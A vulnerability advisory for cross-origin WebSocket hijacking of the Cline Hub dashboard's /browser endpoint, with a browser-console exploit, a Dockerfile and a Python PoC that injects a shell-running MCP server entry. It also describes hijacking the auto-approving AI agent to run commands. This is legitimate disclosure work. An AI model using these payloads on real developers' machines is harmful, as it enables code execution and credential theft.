Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)

Overview

Summary

The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOM_SECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsert_mcp_server frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.

Details

The vulnerable code path spans multiple files in the apps/cline-hub workspace.

No secret by default (local bind)

apps/cline-hub/src/options.ts:54–57 converts an empty ROOM_SECRET environment variable to undefined:

// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
    const secret = value?.trim();
    return secret ? secret : undefined;
}

apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.

Authorization bypass — Origin not checked

apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:

// apps/cline-hub/src/server.ts:61
function isAuthorizedBrowserRequest(url: URL): boolean {
    if (!roomSecret) return true;
    return url.searchParams.get("roomSecret") === roomSecret;
}

WebSocket upgrade without Origin validation

apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:

// apps/cline-hub/src/server.ts:86
if (url.pathname === "/browser") {
    if (!isAuthorizedBrowserRequest(url)) {
        return createJsonResponse({ error: "invalid_room_secret" }, 401);
    }
    if (server.upgrade(req, { data })) return undefined;
}

Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.

Auto-approve tool policy for dashboard sessions

apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:

// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
    options?.autoApproveTools === false
        ? { "*": { autoApprove: false } }
        : { "*": { autoApprove: true } },

MCP settings write sink

apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsert_mcp_server commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINE_DATA_DIR/settings/cline_mcp_settings.json, which Cline executes when the MCP server is next activated.

PoC

Prerequisites

• cline version 3.0.24 installed globally
• A browser (or any WebSocket client) running on the same machine as the victim

Setup

npm i -g [email protected]
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset

Exploit (browser console on any cross-origin page)

Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:

const ws = new WebSocket("ws://127.0.0.1:8787/browser");
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: "desktopCommand",
    id: "poc-mcp-write",
    command: "upsert_mcp_server",
    args: {
      input: {
        name: "poc-cswsh",
        transportType: "stdio",
        command: "sh",
        args: ["-c", "touch /tmp/cline-hub-cswsh-poc"],
        disabled: false
      }
    }
  }));
};
ws.onmessage = (e) => console.log(e.data);

Expected result

• The WebSocket connection is accepted without any Origin rejection.
• The server responds with {"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}.
• $CLINE_DATA_DIR/settings/cline_mcp_settings.json contains the injected poc-cswsh stdio MCP server entry pointing to sh -c ....
• On the next MCP connection by Cline, the injected shell command executes under the victim's user account.

Docker-based dynamic reproduction

docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/
docker run --rm cswsh-poc-vuln001
# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED

The Python PoC (poc.py) connects to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com, sends the upsert_mcp_server frame, and confirms both the ok: true response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.

RCE variant (requires provider/model configured)

If the victim has a working AI provider configured, send a type: "send" frame with config.autoApproveTools: true and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to autoApprove: true for all tools, so no confirmation prompt is shown.

Impact

Any malicious website visited by a developer running cline dashboard on the default local configuration can:

1. Read session metadata, workspace state, and provider configuration exposed through the WebSocket protocol.
2. Write arbitrary MCP server entries (including stdio entries with arbitrary shell commands) to cline_mcp_settings.json, achieving persistent code execution when Cline activates the MCP server.
3. Control active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim.
4. Exfiltrate credentials or API keys available in the developer's environment or Cline provider configuration.

The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.

Reproduction artifacts

Dockerfile

# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
# CVE candidate: CWE-346 (Origin Validation Error)
#
# This Dockerfile builds a container that:
#  1. Installs the Bun runtime and SDK workspace dependencies
#  2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages
#  3. Installs Python 3 + websockets library for the PoC script
#  4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)
#  5. Runs poc.py which connects with a cross-origin Origin header and
#     injects an arbitrary MCP server entry into the user's settings file

FROM oven/bun:1.3

# ── System packages ──────────────────────────────────────────────────────────
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 python3-pip curl && \
    rm -rf /var/lib/apt/lists/*

# Install Python websockets library for the PoC
RUN pip3 install websockets --break-system-packages

# ── Copy source ───────────────────────────────────────────────────────────────
WORKDIR /app

# Copy the cloned repository (build context = npmAI_11_cline__cline/)
COPY repo/ ./repo/

# Copy the PoC script
COPY vuln-001/poc.py ./poc.py

# ── Install workspace dependencies ────────────────────────────────────────────
WORKDIR /app/repo
RUN bun install

# ── Build SDK packages (required: dist/ exports for @cline/core et al.) ──────
# Build order: shared → llms → agents → core
RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/llms    build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/agents  build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/core    build 2>&1 | tail -3

# ── Runtime environment ───────────────────────────────────────────────────────
ENV CLINE_DATA_DIR=/tmp/cline-poc-data
ENV WORKSPACE_ROOT=/tmp/workspace
ENV CLINE_NO_INTERACTIVE=1

RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace

WORKDIR /app

# poc.py starts the dashboard server internally, runs the exploit, and exits
CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard

Vulnerability path:
  apps/cline-hub/src/server.ts:61-64  isAuthorizedBrowserRequest() returns
    true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).
  apps/cline-hub/src/server.ts:86-97  /browser WebSocket upgrade: no Origin
    header validation is performed before accepting the connection.

Attack scenario:
  A developer is running `cline dashboard` on localhost:8787 (default, no secret).
  Any website they visit can open a cross-origin WebSocket to the dashboard,
  send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio
  MCP server entry into the user's Cline settings file.

PoC steps:
  1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined).
  2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com
     (simulating a cross-origin browser page).
  3. Send a desktopCommand frame: upsert_mcp_server with a marker command.
  4. Assert the server returns desktopCommandResult { ok: true }.
  5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the
     injected MCP server entry is present.

Usage (inside Docker container):
  python3 /app/poc.py
"""

import asyncio
import json
import os
import subprocess
import sys
import time
import urllib.request
import urllib.error

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
REPO_ROOT      = "/app/repo"
SERVER_HOST    = "127.0.0.1"
SERVER_PORT    = 8787
SERVER_HTTP    = f"http://{SERVER_HOST}:{SERVER_PORT}"
SERVER_WS      = f"ws://{SERVER_HOST}:{SERVER_PORT}/browser"

# Simulated attacker origin — a cross-origin value that a real browser would
# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.
ATTACK_ORIGIN  = "http://evil.attacker.example.com"

# Injected MCP server payload
MCP_NAME       = "poc-cswsh-marker"
MCP_CMD        = "sh"
MCP_ARGS       = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS"]

CLINE_DATA_DIR = os.environ.get("CLINE_DATA_DIR", "/tmp/cline-poc-data")
MCP_SETTINGS   = os.path.join(CLINE_DATA_DIR, "settings", "cline_mcp_settings.json")

# ---------------------------------------------------------------------------
# Server startup helpers
# ---------------------------------------------------------------------------

def start_server() -> subprocess.Popen:
    """Spawn the cline-hub dashboard server as a background process."""
    print("[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...")
    env = {
        **os.environ,
        "CLINE_DATA_DIR": CLINE_DATA_DIR,
        "WORKSPACE_ROOT": os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"),
        "CLINE_NO_INTERACTIVE": "1",
    }
    proc = subprocess.Popen(
        [
            "bun",
            "--conditions=development",
            "run",
            "apps/cline-hub/src/server.ts",
        ],
        cwd=REPO_ROOT,
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    print(f"[*] Server PID: {proc.pid}")
    return proc


def wait_for_server(timeout_secs: int = 120) -> bool:
    """Poll the /health endpoint until the server responds or timeout expires."""
    print(f"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...")
    deadline = time.time() + timeout_secs
    last_err = ""
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(
                f"{SERVER_HTTP}/health", timeout=3
            ) as resp:
                if resp.status == 200:
                    data = json.loads(resp.read())
                    print(f"[+] Server is up. Health: {json.dumps(data)[:200]}")
                    return True
        except Exception as exc:
            last_err = str(exc)
        time.sleep(2)
    print(f"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}")
    return False


def drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str:
    """Collect recent server stdout/stderr for diagnostic purposes."""
    collected = []
    try:
        import select
        while True:
            r, _, _ = select.select([proc.stdout], [], [], 0)
            if not r:
                break
            line = proc.stdout.readline()
            if not line:
                break
            collected.append(line.rstrip())
    except Exception:
        pass
    return "\n".join(collected[-lines:])

# ---------------------------------------------------------------------------
# WebSocket exploit
# ---------------------------------------------------------------------------

async def run_exploit() -> dict:
    """
    Connect to the dashboard WebSocket with a cross-origin Origin header,
    send upsert_mcp_server, and return a result dict with evidence.
    """
    # Import websockets — handle both legacy (<12) and current (>=12) API
    try:
        from websockets.asyncio.client import connect as ws_connect
    except ImportError:
        from websockets import connect as ws_connect  # type: ignore[no-redef]

    result = {
        "connect_accepted": False,
        "command_ok": False,
        "mcp_settings_written": False,
        "response_raw": "",
        "mcp_settings_content": "",
        "error": "",
    }

    print(f"[*] Connecting to {SERVER_WS}")
    print(f"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}")

    try:
        async with ws_connect(
            SERVER_WS,
            additional_headers={"Origin": ATTACK_ORIGIN},
            open_timeout=15,
        ) as ws:
            result["connect_accepted"] = True
            print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}")
            print("[*] Server performed no Origin validation — CSWSH confirmed at connection level")

            # Build the attack frame: inject an arbitrary stdio MCP server
            attack_frame = {
                "type": "desktopCommand",
                "id": "poc-cswsh-001",
                "command": "upsert_mcp_server",
                "args": {
                    "input": {
                        "name": MCP_NAME,
                        "transportType": "stdio",
                        "command": MCP_CMD,
                        "args": MCP_ARGS,
                        "disabled": False,
                    }
                },
            }

            print(f"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}")
            await ws.send(json.dumps(attack_frame))

            # Collect responses until we see our desktopCommandResult
            deadline = asyncio.get_event_loop().time() + 30
            while asyncio.get_event_loop().time() < deadline:
                try:
                    raw = await asyncio.wait_for(ws.recv(), timeout=5)
                    result["response_raw"] = raw
                    frame = json.loads(raw)
                    if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001":
                        if frame.get("ok") is True:
                            result["command_ok"] = True
                            print(f"[+] desktopCommandResult received: ok=true")
                        else:
                            print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}")
                        break
                    # Ignore state-sync / status frames
                    print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)")
                except asyncio.TimeoutError:
                    print("[.] Waiting for desktopCommandResult ...")
                    continue

    except Exception as exc:
        result["error"] = str(exc)
        print(f"[-] WebSocket error: {exc}")

    return result


def verify_mcp_settings() -> dict:
    """Read the MCP settings file and confirm the injected entry is present."""
    print(f"[*] Checking MCP settings file: {MCP_SETTINGS}")
    if not os.path.exists(MCP_SETTINGS):
        print(f"[-] MCP settings file does not exist: {MCP_SETTINGS}")
        return {"exists": False, "content": ""}

    with open(MCP_SETTINGS) as fh:
        content = fh.read()
    print(f"[+] MCP settings file content:\n{content}")

    try:
        data = json.loads(content)
        servers = data.get("mcpServers", {})
        if MCP_NAME in servers:
            print(f"[+] INJECTED MCP server '{MCP_NAME}' found in settings!")
            print(f"    Entry: {json.dumps(servers[MCP_NAME], indent=4)}")
            return {"exists": True, "content": content, "injected": True}
        else:
            print(f"[-] Injected server '{MCP_NAME}' NOT found in settings.")
            print(f"    Available servers: {list(servers.keys())}")
            return {"exists": True, "content": content, "injected": False}
    except json.JSONDecodeError as exc:
        return {"exists": True, "content": content, "injected": False, "parse_error": str(exc)}


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> int:
    print("=" * 70)
    print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC")
    print("CWE-346  CVSS 9.6 (Critical)")
    print("=" * 70)

    os.makedirs(os.path.join(CLINE_DATA_DIR, "settings"), exist_ok=True)
    os.makedirs(os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), exist_ok=True)

    server_proc = start_server()

    try:
        ready = wait_for_server(timeout_secs=120)
        if not ready:
            server_log = drain_server_output(server_proc)
            print(f"\n[!] Server startup log:\n{server_log}")
            print("\n[RESULT] FAIL — server did not start within timeout")
            return 1

        exploit_result = asyncio.run(run_exploit())

        mcp_result = verify_mcp_settings()

        print("\n" + "=" * 70)
        print("RESULTS")
        print("=" * 70)
        print(f"  WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}")
        print(f"  upsert_mcp_server returned ok=true        : {exploit_result['command_ok']}")
        print(f"  Injected entry present in MCP settings    : {mcp_result.get('injected', False)}")

        passed = (
            exploit_result["connect_accepted"]
            and exploit_result["command_ok"]
            and mcp_result.get("injected", False)
        )

        if passed:
            print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED")
            print("  A page at http://evil.attacker.example.com connected to")
            print(f"  {SERVER_WS} without any Origin rejection,")
            print(f"  and injected MCP server '{MCP_NAME}' into the user's settings.")
            return 0
        else:
            print("\n[RESULT] FAIL — Could not fully confirm all exploit steps")
            if exploit_result.get("error"):
                print(f"  Error: {exploit_result['error']}")
            return 1

    finally:
        print("\n[*] Stopping server ...")
        server_proc.terminate()
        try:
            server_proc.wait(timeout=5)
        except subprocess.TimeoutExpired:
            server_proc.kill()


if __name__ == "__main__":
    sys.exit(main())

Affected packages

• cline < 3.0.30

Remediation

Upgrade to a patched release:

• cline 3.0.30